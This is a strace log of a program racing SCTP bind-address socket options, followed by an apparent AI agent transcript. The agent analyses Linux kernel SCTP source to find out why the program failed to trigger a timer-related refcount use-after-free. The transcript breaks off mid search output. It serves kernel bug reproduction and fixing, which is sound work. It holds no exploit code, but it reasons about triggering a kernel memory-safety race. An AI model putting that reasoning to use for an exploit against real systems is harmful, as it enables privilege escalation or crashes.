[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[+] Connected successfully.
[+] Done.
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5848] write(1, "[+] Connected successfully.\n[+] Done.\n", 38 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5848] <... write resumed>)        = 38
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5848] exit_group(0 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5848] <... exit_group resumed>)   = ?
[pid  5849] +++ exited with 0 +++
[pid  5851] +++ exited with 0 +++
[pid  5850] +++ exited with 0 +++
[pid  5852] +++ exited with 0 +++
+++ exited with 0 +++
[   76.587273][   T67] cfg80211: failed to load regulatory.db

Crash Report: 

gemini-3.1-pro-preview

							input: 120438
							output: 41
							thoughts: 1548
						

**Analysis of SCTP Refcount Bug Reproduction Attempt**

My primary objective was to analyze the results of running a generated program designed to reproduce a specific SCTP refcount bug, identified as "WARNING: refcount bug in sctp_generate_timeout_event". The critical outcome of this test run was that the program terminated with an exit code of 0, and crucially, it did *not* trigger the intended bug. Therefore, the reproduction was unsuccessful.

Upon examining the `strace` output, I observed multiple threads actively engaged in SCTP socket operations, specifically utilizing `setsockopt` with `SOL_SCTP` and parameters like `SCTP_SOCKOPT_BINDX_REM` and `SCTP_SOCKOPT_BINDX_ADD`. This suggests the program was attempting to manipulate the SCTP socket's binding configurations. Concurrently, the console output revealed several SELinux denials. These denials, pertaining to `create`, `setopt`, `bind`, `name_bind`, `node_bind`, and `listen` operations on `sctp_socket` class, were all flagged with `permissive=1`. This is a significant detail; as SELinux was operating in permissive mode, these denials were merely warnings and did not represent actual access blocks that would have prevented the program's execution.

Further scrutiny of the `strace` output showed that the `setsockopt` calls were returning errors: `-1 EINVAL (Invalid argument)` and `-1 EBUSY (Device or resource busy)`. Despite these errors, the program continued and produced console messages indicating successful connection (`[+] Connected successfully.`) and completion (`[+] Done.`). This indicates that the program ran to its intended completion without encountering a fatal crash, which aligns with the reproduction failure.

I then delved into the bug description itself to understand the nature of the defect. The warning details a refcount bug: "refcount_t: addition on 0; use-after-free." The stack trace associated with the warning points to `sctp_generate_timeout_event` in `net/sctp/sm_sideeffect.c`, which is called via `call_timer_fn` from `kernel/time/timer.c`. This immediately led me to hypothesize that the reproducer likely involves setting up an SCTP socket, initiating a timer, and then subsequently freeing the socket or its associated endpoint while the timer is still active, thus creating a race condition where the timer callback attempts to access freed memory. The `setsockopt` calls with `SCTP_SOCKOPT_BINDX_REM` and `SCTP_SOCKOPT_BINDX_ADD` observed in the `strace` output further support the idea that the program was actively trying to trigger such a race condition.

The critical question then became: why did the reproduction fail? The program exited cleanly, with no visible crash or error in the execution flow. The `strace` showed the `setsockopt` calls, including one with `SCTP_SOCKOPT_BINDX_REM` and the address `\x02\x00\x30\x39\x7f\x00\x00\x02` (which I parsed as AF_INET, port 12345, and IP 127.0.0.2). Since the primary goal of this analysis is to provide feedback on improving the reproducer, and the bug is a use-after-free within `sctp_generate_timeout_event` (a function invoked by a timer), the lack of a crash suggests that the specific sequence of operations in the current reproducer was insufficient to expose the race condition. The code within `sctp_generate_timeout_event` itself, which checks `sock_owned_by_user` and potentially re-schedules the timer, might be providing a path that avoids the use-after-free in this particular execution. Therefore, the feedback needs to focus on how to reliably trigger this race condition, potentially by ensuring the socket or endpoint is freed at precisely the right moment to be dereferenced by the timer callback.

map[Expression:sctp_generate_timeout_event PathPrefix:net/sctp/sm_sideeffect.c]

map[Output:net/sctp/sm_sideeffect.c=231=void sctp_generate_t3_rtx_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-269- */
net/sctp/sm_sideeffect.c:270:static void sctp_generate_timeout_event(struct sctp_association *asoc,
net/sctp/sm_sideeffect.c-271-					enum sctp_event_timeout timeout_type)
--
net/sctp/sm_sideeffect.c=308=static void sctp_generate_t1_cookie_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-313-
net/sctp/sm_sideeffect.c:314:	sctp_generate_timeout_event(asoc, SCTP_EVENT_TIMEOUT_T1_COOKIE);
net/sctp/sm_sideeffect.c-315-}
--
net/sctp/sm_sideeffect.c=317=static void sctp_generate_t1_init_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-322-
net/sctp/sm_sideeffect.c:323:	sctp_generate_timeout_event(asoc, SCTP_EVENT_TIMEOUT_T1_INIT);
net/sctp/sm_sideeffect.c-324-}
--
net/sctp/sm_sideeffect.c=326=static void sctp_generate_t2_shutdown_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-331-
net/sctp/sm_sideeffect.c:332:	sctp_generate_timeout_event(asoc, SCTP_EVENT_TIMEOUT_T2_SHUTDOWN);
net/sctp/sm_sideeffect.c-333-}
--
net/sctp/sm_sideeffect.c=335=static void sctp_generate_t4_rto_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-339-
net/sctp/sm_sideeffect.c:340:	sctp_generate_timeout_event(asoc, SCTP_EVENT_TIMEOUT_T4_RTO);
net/sctp/sm_sideeffect.c-341-}
--
net/sctp/sm_sideeffect.c=343=static void sctp_generate_t5_shutdown_guard_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-348-
net/sctp/sm_sideeffect.c:349:	sctp_generate_timeout_event(asoc,
net/sctp/sm_sideeffect.c-350-				    SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD);
--
net/sctp/sm_sideeffect.c=354=static void sctp_generate_autoclose_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-359-
net/sctp/sm_sideeffect.c:360:	sctp_generate_timeout_event(asoc, SCTP_EVENT_TIMEOUT_AUTOCLOSE);
net/sctp/sm_sideeffect.c-361-}
--
net/sctp/sm_sideeffect.c=517=static void sctp_generate_sack_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-521-
net/sctp/sm_sideeffect.c:522:	sctp_generate_timeout_event(asoc, SCTP_EVENT_TIMEOUT_SACK);
net/sctp/sm_sideeffect.c-523-}
]

gemini-3.1-pro-preview

							input: 123030
							output: 40
							thoughts: 25
						

**My Thought Process on SCTP State Machine Side Effects**

Alright, so my current focus is on the `net/sctp/sm_sideeffect.c` file, and I'm specifically zeroing in on the code block starting around line 284. I need to understand the state machine's behavior and how it handles side effects at this particular juncture. My aim is to dissect the logic within that section to grasp precisely what actions are triggered and under what conditions. I'm anticipating this will involve examining how incoming events or internal state transitions translate into observable outcomes or modifications within the SCTP stack. The goal is to achieve a comprehensive understanding of the state machine's operational nuances at this specific point in its execution flow.

map[File:net/sctp/sm_sideeffect.c FirstLine:270 LineCount:40]

map[Contents: 270:	static void sctp_generate_timeout_event(struct sctp_association *asoc,
 271:						enum sctp_event_timeout timeout_type)
 272:	{
 273:		struct sock *sk = asoc->base.sk;
 274:		struct net *net = sock_net(sk);
 275:		int error = 0;
 276:	
 277:		bh_lock_sock(sk);
 278:		if (sock_owned_by_user(sk)) {
 279:			pr_debug("%s: sock is busy: timer %d\n", __func__,
 280:				 timeout_type);
 281:	
 282:			/* Try again later.  */
 283:			if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
 284:				sctp_association_hold(asoc);
 285:			goto out_unlock;
 286:		}
 287:	
 288:		/* Is this association really dead and just waiting around for
 289:		 * the timer to let go of the reference?
 290:		 */
 291:		if (asoc->base.dead)
 292:			goto out_unlock;
 293:	
 294:		/* Run through the state machine.  */
 295:		error = sctp_do_sm(net, SCTP_EVENT_T_TIMEOUT,
 296:				   SCTP_ST_TIMEOUT(timeout_type),
 297:				   asoc->state, asoc->ep, asoc,
 298:				   (void *)timeout_type, GFP_ATOMIC);
 299:	
 300:		if (error)
 301:			sk->sk_err = -error;
 302:	
 303:	out_unlock:
 304:		bh_unlock_sock(sk);
 305:		sctp_association_put(asoc);
 306:	}
 307:	
 308:	static void sctp_generate_t1_cookie_event(struct timer_list *t)
 309:	{
]

gemini-3.1-pro-preview

							input: 123695
							output: 43
							thoughts: 101
						

**My Thought Process Regarding the SCTP Reference Count Bug**

Okay, so I've identified a bug at line 284 related to `sctp_association_hold(asoc);`. The core of the issue is a `refcount_t: addition on 0; use-after-free.` occurring within `sctp_association_hold(asoc)`. This immediately tells me that when `sctp_association_hold` is being invoked, `asoc->base.refcnt`, the reference counter for the association, is currently at zero. This is problematic because `sctp_association_hold`, as its name suggests, is intended to increment this reference count, and attempting to add to a zero count in this context implies a critical race condition or a logic error where the association is being held *after* its last reference has been dropped. My next step, naturally, is to dive into the implementation of `sctp_association_hold` itself to understand precisely how it uses and manipulates this reference count and trace back how it could have reached a state of zero before this function was called.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_association_hold]

map[SourceCode: 850:	/* Hold a reference to an association. */
 851:	void sctp_association_hold(struct sctp_association *asoc)
 852:	{
 853:		refcount_inc(&asoc->base.refcnt);
 854:	}
 SourceFile:net/sctp/associola.c]

gemini-3.1-pro-preview

							input: 123930
							output: 41
							thoughts: 216
						

**The Paradox of the Zero Refcount in the Timer Callback**

My thought process is currently grappling with a rather perplexing situation concerning reference counting within the SCTP implementation, specifically around timer management and association lifetimes. The core of the issue is that I'm observing a call to `refcount_inc` on an association (`asoc`) when its reference count is *already* zero. This is a fundamental violation of how reference counting should work, as it implies an object is being accessed or manipulated *after* it should have been deallocated.

I've traced the problematic scenario back to a specific sequence of events. It occurs when `sock_owned_by_user(sk)` returns true, and subsequently, `mod_timer` returns 0. My initial understanding is that `mod_timer` returning 0 signifies that the timer was *not* pending. Now, this is where things get interesting, because if the timer wasn't pending, it implies one of two things: either it had already been deleted, or it's currently executing.

The critical insight, and the source of my confusion, is that *we are currently within the timer callback itself*. If we are in the timer callback, it means the timer *is* executing. Therefore, `mod_timer` *should* return 0 precisely because the timer is not "pending" in the sense of waiting to be executed; it's actively running. This seems like a legitimate scenario for `mod_timer` to return 0.

Following this path, the code then proceeds to call `sctp_association_hold(asoc)` to ensure the association is held for the re-armed timer. However, this is where the paradox fully crystallizes: the association's refcount is *already zero* at this point. This leads me to question the fundamental assumption of how an association is freed and its associated resources are managed. If an association's reference count is truly zero, how can its timer callback possibly be executing?

My immediate next step, to unravel this logical knot, is to meticulously examine the `sctp_association_free` function. I suspect that the mechanism by which timers are deleted or handled during the freeing of an association is the key to understanding how this situation can arise, and more importantly, how to correct it to prevent this apparent double-free or use-after-free scenario.

map[ContextFile:net/sctp/associola.c Name:sctp_association_free]

map[SourceCode: 311:	/* Free this association if possible.  There may still be users, so
 312:	 * the actual deallocation may be delayed.
 313:	 */
 314:	void sctp_association_free(struct sctp_association *asoc)
 315:	{
 316:		struct sock *sk = asoc->base.sk;
 317:		struct sctp_transport *transport;
 318:		struct list_head *pos, *temp;
 319:		int i;
 320:	
 321:		/* Only real associations count against the endpoint, so
 322:		 * don't bother for if this is a temporary association.
 323:		 */
 324:		if (!list_empty(&asoc->asocs)) {
 325:			list_del(&asoc->asocs);
 326:	
 327:			/* Decrement the backlog value for a TCP-style listening
 328:			 * socket.
 329:			 */
 330:			if (sctp_style(sk, TCP) && sctp_sstate(sk, LISTENING))
 331:				sk_acceptq_removed(sk);
 332:		}
 333:	
 334:		/* Mark as dead, so other users can know this structure is
 335:		 * going away.
 336:		 */
 337:		asoc->base.dead = true;
 338:	
 339:		/* Dispose of any data lying around in the outqueue. */
 340:		sctp_outq_free(&asoc->outqueue);
 341:	
 342:		/* Dispose of any pending messages for the upper layer. */
 343:		sctp_ulpq_free(&asoc->ulpq);
 344:	
 345:		/* Dispose of any pending chunks on the inqueue. */
 346:		sctp_inq_free(&asoc->base.inqueue);
 347:	
 348:		sctp_tsnmap_free(&asoc->peer.tsn_map);
 349:	
 350:		/* Free stream information. */
 351:		sctp_stream_free(&asoc->stream);
 352:	
 353:		if (asoc->strreset_chunk)
 354:			sctp_chunk_free(asoc->strreset_chunk);
 355:	
 356:		/* Clean up the bound address list. */
 357:		sctp_bind_addr_free(&asoc->base.bind_addr);
 358:	
 359:		/* Do we need to go through all of our timers and
 360:		 * delete them?   To be safe we will try to delete all, but we
 361:		 * should be able to go through and make a guess based
 362:		 * on our state.
 363:		 */
 364:		for (i = SCTP_EVENT_TIMEOUT_NONE; i < SCTP_NUM_TIMEOUT_TYPES; ++i) {
 365:			if (timer_delete(&asoc->timers[i]))
 366:				sctp_association_put(asoc);
 367:		}
 368:	
 369:		/* Free peer's cached cookie. */
 370:		kfree(asoc->peer.cookie);
 371:		kfree(asoc->peer.peer_random);
 372:		kfree(asoc->peer.peer_chunks);
 373:		kfree(asoc->peer.peer_hmacs);
 374:	
 375:		/* Release the transport structures. */
 376:		list_for_each_safe(pos, temp, &asoc->peer.transport_addr_list) {
 377:			transport = list_entry(pos, struct sctp_transport, transports);
 378:			list_del_rcu(pos);
 379:			sctp_unhash_transport(transport);
 380:			sctp_transport_free(transport);
 381:		}
 382:	
 383:		asoc->peer.transport_count = 0;
 384:	
 385:		sctp_asconf_queue_teardown(asoc);
 386:	
 387:		/* Free pending address space being deleted */
 388:		kfree(asoc->asconf_addr_del_pending);
 389:	
 390:		/* AUTH - Free the endpoint shared keys */
 391:		sctp_auth_destroy_keys(&asoc->endpoint_shared_keys);
 392:	
 393:		/* AUTH - Free the association shared key */
 394:		sctp_auth_key_put(asoc->asoc_shared_key);
 395:	
 396:		sctp_association_put(asoc);
 397:	}
 SourceFile:net/sctp/associola.c]

gemini-3.1-pro-preview

							input: 125546
							output: 35
							thoughts: 997
						

**My Thoughts on the SCTP Timer and Association Reference Counting**

This is quite a complex interaction I'm wrestling with here, specifically around how the SCTP association's reference count behaves when timers are involved, particularly during the association's destruction. My initial thought upon examining `sctp_association_free` was that it calls `timer_delete` for each of the association's timers. If `timer_delete` successfully removes a pending timer (returning 1), it decrements the association's reference count via `sctp_association_put`. However, if `timer_delete` returns 0, meaning the timer wasn't pending, it *doesn't* call `sctp_association_put`. This makes sense on the surface – if the timer isn't pending, we don't need to adjust the association's reference count here, as presumably the timer callback itself will handle it.

The crux of my current confusion lies in what happens if a timer callback is *already running* on another CPU when `sctp_association_free` attempts to delete the timer. The documentation for `timer_delete` (which is essentially `del_timer`) states it *doesn't* wait for the timer to finish. This means a timer callback *could* still be active, and importantly, the timer callback *holds a reference* to the association because `sctp_association_hold` is called when the timer is initially armed.

Now, let's look at `sctp_generate_timeout_event`, the function that handles these timer callbacks. Inside it, there's a specific block of code that handles a busy socket. If the socket is busy, it attempts to reschedule the timer using `mod_timer`. Crucially, if `mod_timer` returns 0 (meaning the timer wasn't pending and was successfully rescheduled), it then calls `sctp_association_hold(asoc)`. This call to `sctp_association_hold` increments the association's reference count, taking a new reference for the rescheduled timer. Then, at the end of `sctp_generate_timeout_event`, `sctp_association_put(asoc)` is called, releasing the *original* reference that the timer callback was holding.

This is where I'm getting stuck. If `sctp_generate_timeout_event` is running and calls `sctp_association_hold`, and that call happens when the association's reference count is *zero*, it implies the reference that the timer callback *should* be holding has already been released. But how can that be? The timer callback is still running, and it's supposed to hold onto that reference until it finishes.

Let's re-examine the flow. When a timer is armed, `sctp_association_hold` is called. The timer callback, upon execution, holds that reference. Then, at the end of the callback, it's supposed to release it via `sctp_association_put`.

Now, consider `sctp_association_free` again. If `timer_delete` returns 1, it calls `sctp_association_put`. If it returns 0, it *doesn't*. This implies that if the timer is still running when `sctp_association_free` is called, the `sctp_association_free` function *doesn't* decrement the reference count for that particular timer, relying on the running timer callback to do so. This logic seems sound – the association shouldn't be freed while a timer callback is actively using it.

So, if a timer callback is running, it must hold at least one reference to the association, meaning the association's reference count cannot be zero. If the reference count isn't zero, then `sctp_association_free` shouldn't be able to proceed to the point where it might be calling `timer_delete` in a problematic state. This leads me to question if there's a scenario where `sctp_association_hold` is called in `sctp_generate_timeout_event` *without* a corresponding prior increment to the reference count, or if `sctp_association_free` is incorrectly calling `timer_delete` and then an extra `sctp_association_put` for a timer that is actively being processed by its callback.

I'm trying to trace a path where the timer callback's reference is somehow released *before* the callback itself finishes executing, or where `sctp_association_free` is called prematurely while a timer callback is still holding a reference. I need to scrutinize how timers are armed and how their references are managed throughout their lifecycle, especially in the context of concurrent operations and association destruction.

map[Expression:mod_timer\(&asoc->timers PathPrefix:net/sctp/]

map[Output:net/sctp/sm_sideeffect.c=270=static void sctp_generate_timeout_event(struct sctp_association *asoc,
--
net/sctp/sm_sideeffect.c-282-		/* Try again later.  */
net/sctp/sm_sideeffect.c:283:		if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
net/sctp/sm_sideeffect.c-284-			sctp_association_hold(asoc);
]

gemini-3.1-pro-preview

							input: 126716
							output: 35
							thoughts: 9
						

**The Crucial Moment of Arming the Timers**

My immediate concern, the very first thought that flickered through my mind, was about the timers. I found myself questioning their current state – "Wait, where are the timers armed normally?" It’s a foundational check for me, an expert in this domain. The usual, expected operational readiness of these timers is something I rely on implicitly. So, this question isn't just a casual inquiry; it's a signal that my mental model of the system's status might be incomplete or that I've encountered an unexpected deviation from the norm. I need to understand if they've been armed as usual, or if there's a discrepancy that requires immediate attention. This is the starting point, the immediate impulse to verify the integrity of a critical system component.

map[Expression:timer_setup\(&asoc->timers PathPrefix:net/sctp/]

map[Output:net/sctp/associola.c=51=static struct sctp_association *sctp_association_init(
--
net/sctp/associola.c-144-	for (i = SCTP_EVENT_TIMEOUT_NONE; i < SCTP_NUM_TIMEOUT_TYPES; ++i)
net/sctp/associola.c:145:		timer_setup(&asoc->timers[i], sctp_timer_events[i], 0);
net/sctp/associola.c-146-
]

gemini-3.1-pro-preview

							input: 126890
							output: 37
							thoughts: 31
						

**My Thought Process on Locating Timer-Related SCTP Functionality**

My immediate objective is to pinpoint the specific functions within the Linux kernel's SCTP implementation that manage timers. I need to find where timers are initiated, modified, or potentially reduced. Given my expertise, I know that kernel modules often organize related functionality into dedicated directories. Therefore, I'll focus my search on the `net/sctp/` directory, which logically houses the SCTP networking code.

My strategy involves using pattern matching to identify functions with names that strongly suggest timer operations. I'll be looking for keywords like "timer," "add," "reduce," and potentially "mod" (as in "modify"). Combining these, I've formulated a search query: `mod_timer` or `timer_reduce` or `add_timer`.

*   `mod_timer`: This function name directly implies modifying an existing timer's expiration time, which is a crucial operation for timer management.
*   `timer_reduce`: This explicitly suggests reducing the time remaining on a timer, a common requirement in protocols where events might need to be re-triggered sooner.
*   `add_timer`: This is the most fundamental operation for starting a timer, and I anticipate it will be a key function in initializing various SCTP timeout events.

By searching for these specific patterns within the `net/sctp/` directory, I'm confident I'll be able to efficiently locate the core timer management mechanisms for SCTP in the kernel. This approach allows me to bypass a broad, less targeted search and directly investigate the most probable code locations.

map[Expression:timer_reduce|mod_timer|add_timer PathPrefix:net/sctp/]

map[Output:net/sctp/associola.c=482=void sctp_assoc_rm_peer(struct sctp_association *asoc,
--
net/sctp/associola.c-569-		if (!timer_pending(&active->T3_rtx_timer))
net/sctp/associola.c:570:			if (!mod_timer(&active->T3_rtx_timer,
net/sctp/associola.c-571-					jiffies + active->rto))
--
net/sctp/input.c=431=void sctp_icmp_proto_unreachable(struct sock *sk,
--
net/sctp/input.c-438-		else {
net/sctp/input.c:439:			if (!mod_timer(&t->proto_unreach_timer,
net/sctp/input.c-440-						jiffies + (HZ/20)))
--
net/sctp/output.c=575=int sctp_packet_transmit(struct sctp_packet *packet, gfp_t gfp)
--
net/sctp/output.c-641-
net/sctp/output.c:642:		if (!mod_timer(timer, jiffies + timeout))
net/sctp/output.c-643-			sctp_association_hold(asoc);
--
net/sctp/outqueue.c=1436=static void sctp_check_transmitted(struct sctp_outq *q,
--
net/sctp/outqueue.c-1693-		} else if (restart_timer) {
net/sctp/outqueue.c:1694:			if (!mod_timer(&transport->T3_rtx_timer,
net/sctp/outqueue.c-1695-				       jiffies + transport->rto))
--
net/sctp/protocol.c=601=static void sctp_addr_wq_timeout_handler(struct timer_list *t)
--
net/sctp/protocol.c-634-				timeo_val += msecs_to_jiffies(SCTP_ADDRESS_TICK_DELAY);
net/sctp/protocol.c:635:				mod_timer(&net->sctp.addr_wq_timer, timeo_val);
net/sctp/protocol.c-636-				break;
--
net/sctp/protocol.c=700=void sctp_addr_wq_mgmt(struct net *net, struct sctp_sockaddr_entry *addr, int cmd)
--
net/sctp/protocol.c-755-		timeo_val += msecs_to_jiffies(SCTP_ADDRESS_TICK_DELAY);
net/sctp/protocol.c:756:		mod_timer(&net->sctp.addr_wq_timer, timeo_val);
net/sctp/protocol.c-757-	}
--
net/sctp/sm_sideeffect.c=231=void sctp_generate_t3_rtx_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-246-		/* Try again later.  */
net/sctp/sm_sideeffect.c:247:		if (!mod_timer(&transport->T3_rtx_timer, jiffies + (HZ/20)))
net/sctp/sm_sideeffect.c-248-			sctp_transport_hold(transport);
--
net/sctp/sm_sideeffect.c=270=static void sctp_generate_timeout_event(struct sctp_association *asoc,
--
net/sctp/sm_sideeffect.c-282-		/* Try again later.  */
net/sctp/sm_sideeffect.c:283:		if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
net/sctp/sm_sideeffect.c-284-			sctp_association_hold(asoc);
--
net/sctp/sm_sideeffect.c=366=void sctp_generate_heartbeat_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-380-		/* Try again later.  */
net/sctp/sm_sideeffect.c:381:		if (!mod_timer(&transport->hb_timer, jiffies + (HZ/20)))
net/sctp/sm_sideeffect.c-382-			sctp_transport_hold(transport);
--
net/sctp/sm_sideeffect.c-390-		elapsed = timeout - elapsed;
net/sctp/sm_sideeffect.c:391:		if (!mod_timer(&transport->hb_timer, jiffies + elapsed))
net/sctp/sm_sideeffect.c-392-			sctp_transport_hold(transport);
--
net/sctp/sm_sideeffect.c=412=void sctp_generate_proto_unreach_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-424-		/* Try again later.  */
